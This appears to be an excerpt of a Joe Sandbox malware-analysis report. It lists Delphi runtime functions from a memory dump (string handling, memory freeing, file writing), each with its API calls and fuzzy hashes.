Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$String$System@@$A$qqrr27AnsiSystem@%T$us$i0$%.Unique$Length$qqrv.$Asg$qqrpvpxv.Move$qqrpxvpvi.System@System@@_lldiv$qqrv.System@@_llmod$qqrv.
String ID:
API String ID: 2746624785-0
Opcode ID: 6f5efbb8eed6ee27d8eacd8a53e33a03a9268d0732e6659643c6d055adb854c0
Instruction ID: 83c9bdd879cfcf35ef7b72e87aa444a6bdb9ceb143d9270e5f8551a18616b456
Opcode Fuzzy Hash: 6f5efbb8eed6ee27d8eacd8a53e33a03a9268d0732e6659643c6d055adb854c0
Instruction Fuzzy Hash: 8021A731715288EFF7059B6AE840BCD66D49F457B5FA4C12AB4048A2C3D6B88A468792

Function 57005488 Relevance: 15.1, APIs: 10, Instructions: 82COMMON

Download Yara Rule

APIs

@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL ref: 570054BD
@System@@_llmod$qqrv.RTL120.BPL(0000000A,00000000), ref: 570054D1
@System@@_lldiv$qqrv.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 570054ED
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 570054FA
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700551D
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005530
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,0000000A,00000000,0000000A,00000000), ref: 57005538
@System@Move$qqrpxvpvi.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700554C
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005555
@System@@UStrAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL ref: 57005563

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@$Unicode$System@@$String.$StringU$qqrr20Unique$Length$qqrr20Stringi.$Asg$qqrr20Move$qqrpxvpvi.Stringx20System@@_lldiv$qqrv.System@@_llmod$qqrv.
String ID:
API String ID: 3117985673-0
Opcode ID: e680ab394a334ffa475434c3318006230483d08e37767d1c1bc95fd577b0d41c
Instruction ID: ddd453767e2283ec3c25f4b2748dccba13503b7c530530133f1ba5bff637868c
Opcode Fuzzy Hash: e680ab394a334ffa475434c3318006230483d08e37767d1c1bc95fd577b0d41c
Instruction Fuzzy Hash: 22218335715288EFF7009BA9E450BCD66D59F40775FA0C12AF5048B292D6B88A4587C6

Function 5701B0E1 Relevance: 15.1, APIs: 10, Instructions: 60fileCOMMON

Download Yara Rule

APIs

@System@@DoneExcept$qqrv.RTL120.BPL ref: 5701B0EF
UnmapViewOfFile.KERNEL32(00000000), ref: 5701B104
UnmapViewOfFile.KERNEL32(00000000), ref: 5701B119
VirtualFree.KERNEL32(?,00000000,00008000), ref: 5701B12C
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B137
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B142
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B14D
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B155
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00008000), ref: 5701B16B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00008000), ref: 5701B181

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Free$L120System@@$Mem$qqrpv.$Virtual$FileUnmapView$DoneExcept$qqrv.
String ID:
API String ID: 629325336-0
Opcode ID: 8b312ad19da4fa270067d0a2e67270f26dfd0cf9a675d195cef2d737322a4866
Instruction ID: e680d2b39d46799fd1dc77b7e903b770eb402a0a080645da756f34b9040ed7d5
Opcode Fuzzy Hash: 8b312ad19da4fa270067d0a2e67270f26dfd0cf9a675d195cef2d737322a4866
Instruction Fuzzy Hash: EC21E531A10288AFEB10DBD8D895BDDB3F0BB08315F514556F544AB2D2C7799984CF92

Function 5702180C Relevance: 13.7, APIs: 9, Instructions: 206fileCOMMON

Download Yara Rule

APIs

Part of subcall function 57020704: GetVersion.KERNEL32(00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020748
Part of subcall function 57020704: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020761
Part of subcall function 57020704: @System@@UStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207AE
Part of subcall function 57020704: @System@@LStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207B6

@System@@GetMem$qqri.RTL120.BPL(00000000,57021A27,?,00000000,57021A45), ref: 570218B0
@System@@GetMem$qqri.RTL120.BPL(00000000,57021A27,?,00000000,57021A45), ref: 570218BB
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021A27,?,00000000,57021A45), ref: 570218CE
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021A27,?,00000000,57021A45), ref: 5702191B
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021A27,?,00000000,57021A45), ref: 57021968
WriteFile.KERNEL32(000000FF,?,?,?,00000000,00000000,57021A27,?,00000000,57021A45), ref: 570219D5
WriteFile.KERNEL32(000000FF,?,?,?,00000000,000000FF,?,?,?,00000000,00000000,57021A27,?,00000000,57021A45), ref: 570219F3
@System@@FreeMem$qqrpv.RTL120.BPL(57021A2E,00000000,57021A45), ref: 57021A19
@System@@FreeMem$qqrpv.RTL120.BPL(57021A2E,00000000,57021A45), ref: 57021A21

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$FileMove$qqrpxvpvi.System@$Clr$qqrpv.FreeMem$qqri.Mem$qqrpv.Write$CreateVersion
String ID:
API String ID: 422027689-0
Opcode ID: 6084cf870d499eb948494b80fd86fae120736f389fe87f204597353410d3ddf7
Instruction ID: ce582977df06aead4deb98512bf111f560117cb2607c3cf1824f95660ae21de1
Opcode Fuzzy Hash: 6084cf870d499eb948494b80fd86fae120736f389fe87f204597353410d3ddf7
Instruction Fuzzy Hash: 96713D72A1125AAFDB40CFE8C880AAFB7F8FF08310F118566E955E7241E734D901DBA1

Function 5700538F Relevance: 13.6, APIs: 9, Instructions: 79COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL ref: 570053C7
@System@@_llmod$qqrv.RTL120.BPL(0000000A,00000000), ref: 570053DB
@System@@_lldiv$qqrv.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 570053F7
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005404
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005425
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005436
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,0000000A,00000000,0000000A,00000000), ref: 5700543E
@System@Move$qqrpxvpvi.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700544F
@System@@LStrSetLength$qqrv.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700545A

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$String$System@@$A$qqrr27AnsiSystem@%T$us$i0$%.Unique$Length$qqrv.$Move$qqrpxvpvi.System@System@@_lldiv$qqrv.System@@_llmod$qqrv.
String ID:
API String ID: 1688350106-0
Opcode ID: 0a99f9464d8997d7b4a2b81ae297d4900144cd19dec860911267f92e1d5a92d8
Instruction ID: d7eb9c595b45e3998e9705f53d3a976bee7b92a051008a5554a26376004fc4fe
Opcode Fuzzy Hash: 0a99f9464d8997d7b4a2b81ae297d4900144cd19dec860911267f92e1d5a92d8
Instruction Fuzzy Hash: AA218331705288EFF7058B6AE840BDD67D09F453B4FA4C12AF8048A2D3D6B98A46C792

Function 57005487 Relevance: 13.6, APIs: 9, Instructions: 78COMMON

Download Yara Rule

APIs

@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL ref: 570054BD
@System@@_llmod$qqrv.RTL120.BPL(0000000A,00000000), ref: 570054D1
@System@@_lldiv$qqrv.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 570054ED
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 570054FA
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700551D
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005530
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,0000000A,00000000,0000000A,00000000), ref: 57005538
@System@Move$qqrpxvpvi.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700554C
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005555

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@$System@@Unicode$StringString.U$qqrr20Unique$Length$qqrr20Stringi.$Move$qqrpxvpvi.System@@_lldiv$qqrv.System@@_llmod$qqrv.
String ID:
API String ID: 3072109889-0
Opcode ID: 948cad6121e574a7c6426bdca89bd8b06bb84b62daaca12a4b2dd69ad5ac0ebe
Instruction ID: 0703b5e542414bccb67145e3c0c2ff69f5f92c2369ed198d0ca7c024c5a154c7
Opcode Fuzzy Hash: 948cad6121e574a7c6426bdca89bd8b06bb84b62daaca12a4b2dd69ad5ac0ebe
Instruction Fuzzy Hash: FB21B331715288EFFB008FA9D450BCD67E19F80375FA0C12AF5048B2E2D6B88A45CBC6

Function 57003320 Relevance: 13.6, APIs: 9, Instructions: 76COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 57003332
@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5700333A
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003401), ref: 57003350
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003401), ref: 57003355
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003401), ref: 5700335F
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003401), ref: 57003364
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(57003408), ref: 570033FB

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Unicode$String.System@$EnsureLen$qqrx20Ref$qqrpv.String$qqrr20$ArrayClr$qqrpvi.
String ID:
API String ID: 3854879249-0
Opcode ID: 6cf21f9dde8471e9af510ad918bed97fd54311d34a189923af234cdbbb9c77a2
Instruction ID: 62bc83ef5fd419013a3e0462dceb39226657a4d7f6949b25cca936bb0dacf00b
Opcode Fuzzy Hash: 6cf21f9dde8471e9af510ad918bed97fd54311d34a189923af234cdbbb9c77a2
Instruction Fuzzy Hash: 3C21E23151C289AFE712DBB0D8C19DFBBE89F01270F9142BAE850972D3DB319A42C6D1

Function 5700354C Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5700355E
@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 57003566
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003624), ref: 5700357C
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003624), ref: 57003581
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003624), ref: 5700358C
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003624), ref: 57003591
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003624), ref: 570035B7
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003624), ref: 570035D5
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(5700362B), ref: 5700361E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$L120System@@$String.System@$EnsureString$qqrr20$Len$qqrx20Ref$qqrpv.$ArrayClr$qqrpvi.
String ID:
API String ID: 1609906733-0
Opcode ID: 02356a6a98adf771c07e35288bcc763c4e3861853ec71708eff7b67686437197
Instruction ID: 370bf4e07bf906ff398f5439f369b7741a44b07898307c07faba961fee260075
Opcode Fuzzy Hash: 02356a6a98adf771c07e35288bcc763c4e3861853ec71708eff7b67686437197
Instruction Fuzzy Hash: 0A21B030914598DFEB06DBE5D8809EEBBF4EF49370FD142A6E460D73A2D7349E009A91

Function 57003788 Relevance: 13.6, APIs: 9, Instructions: 59COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5700379E
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 570037A6
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,57003822), ref: 570037C6
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,57003822), ref: 570037CB
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(?,?,00000001,00000000,00000000,57003822), ref: 570037DC
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,00000001,00000000,00000000,57003822), ref: 570037E1
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,00000001,00000000,00000000,57003822), ref: 570037EA
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,?,?,00000001,00000000,00000000,57003822), ref: 570037F3
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57003829), ref: 5700381C

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$T$us$i0$%.$Char$qqrx27EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 3482300753-0
Opcode ID: 105f11c3785ffe043cf48b525595c5a91cc4204f35c8f72f4ccb020e116cca60
Instruction ID: cc1de5682fb1f21050629297d009adab17db7c84f21201022dad02fb495f5e90
Opcode Fuzzy Hash: 105f11c3785ffe043cf48b525595c5a91cc4204f35c8f72f4ccb020e116cca60
Instruction Fuzzy Hash: 8E115275915388AFF759DBE5E880ADEBBECEF4C270FD140B6B404D2382DA305E0486A5

Function 57003634 Relevance: 13.6, APIs: 9, Instructions: 59COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5700364A
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57003652
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,570036CE), ref: 57003672
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,570036CE), ref: 57003677
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(?,?,00000000,00000000,00000000,570036CE), ref: 57003688
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,00000000,00000000,00000000,570036CE), ref: 5700368D
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,00000000,00000000,00000000,570036CE), ref: 57003696
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,?,?,00000000,00000000,00000000,570036CE), ref: 5700369F
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(570036D5), ref: 570036C8

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$T$us$i0$%.$Char$qqrx27EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 3482300753-0
Opcode ID: 2f20e7a19ab447f8ed0b8d81c79b65715b5df3a4efbcd37f945875c55dc6ce41
Instruction ID: 8a351dd3499f785c784814e12762ae0bd36e5574f3be062cfc56659266c50da1
Opcode Fuzzy Hash: 2f20e7a19ab447f8ed0b8d81c79b65715b5df3a4efbcd37f945875c55dc6ce41
Instruction Fuzzy Hash: F7118274A15248AFF709DBE5E990ADEB7ECEF48270FD14076B404D2382DB305E408695

Function 570036E0 Relevance: 13.6, APIs: 9, Instructions: 57COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 570036F6
@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 570036FE
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003776), ref: 5700371C
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003776), ref: 57003721
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(?,?,00000000,00000000,00000000,57003776), ref: 57003730
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(?,?,00000000,00000000,00000000,57003776), ref: 57003735
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,?,?,00000000,00000000,00000000,57003776), ref: 5700373E
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,?,?,00000000,00000000,00000000,57003776), ref: 57003747
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(5700377D), ref: 57003770

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Unicode$String.System@$Char$qqrx20EnsureLen$qqrx20Ref$qqrpv.String$qqrr20$ArrayClr$qqrpvi.
String ID:
API String ID: 2993352690-0
Opcode ID: 0a5dee2c6f7f935ab4d285eca736996671ec78875492c34c4238c4249fc59a56
Instruction ID: f52fc919bc1ff58362b94f753296d88f181cc1c58f913fe1d7bf106d4805684b
Opcode Fuzzy Hash: 0a5dee2c6f7f935ab4d285eca736996671ec78875492c34c4238c4249fc59a56
Instruction Fuzzy Hash: 15116570925558EFF715DBF4DC84A9EB7ECEF09360F904176B804D2292D7706E1086A5

